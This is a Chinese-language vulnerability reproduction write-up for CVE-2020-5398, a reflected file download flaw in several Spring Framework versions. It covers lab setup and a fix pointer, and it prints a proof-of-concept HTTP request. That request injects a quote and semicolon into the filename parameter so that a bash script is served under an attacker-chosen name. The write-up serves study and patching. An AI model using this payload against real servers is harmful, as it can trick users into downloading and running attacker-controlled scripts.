漏洞概述
Spring是一个Java/Java EE/.NET的分层应用程序框架。 Spring Framework 存在反射型文件下载漏洞 。 此漏洞由于Spring Framework并没有对filename传入的文件名进行严格的安全检测,攻击者可以通过截断的方式控制filename变量值,下载任意格式的文件。
影响版本
Spring Framework 5.2.0 – 5.2.2
Spring Framework 5.1.0 – 5.1.12
Spring Framework 5.0.0 – 5.0.15
环境搭建
下载地址
https://github.com/motikan2010/CVE-2020-5398.git
首先先下载
git clone https://github.com/motikan2010/CVE-2020-5398.git
接着运行
./gradlew bootrun
访问your-ip:8080即可看到页面
漏洞复现
Poc
GET /?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Awhoami HTTP/1.1
Host: 192.168.204.131:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
构建数据包发送
使用";闭合响应中Content-Disposition头的filename字段,使得在浏览器中下载的时候保存为任意文件名,并且可控制后缀
修复建议
官方修复补丁下载地址:
https://github.com/spring-projects/spring-framework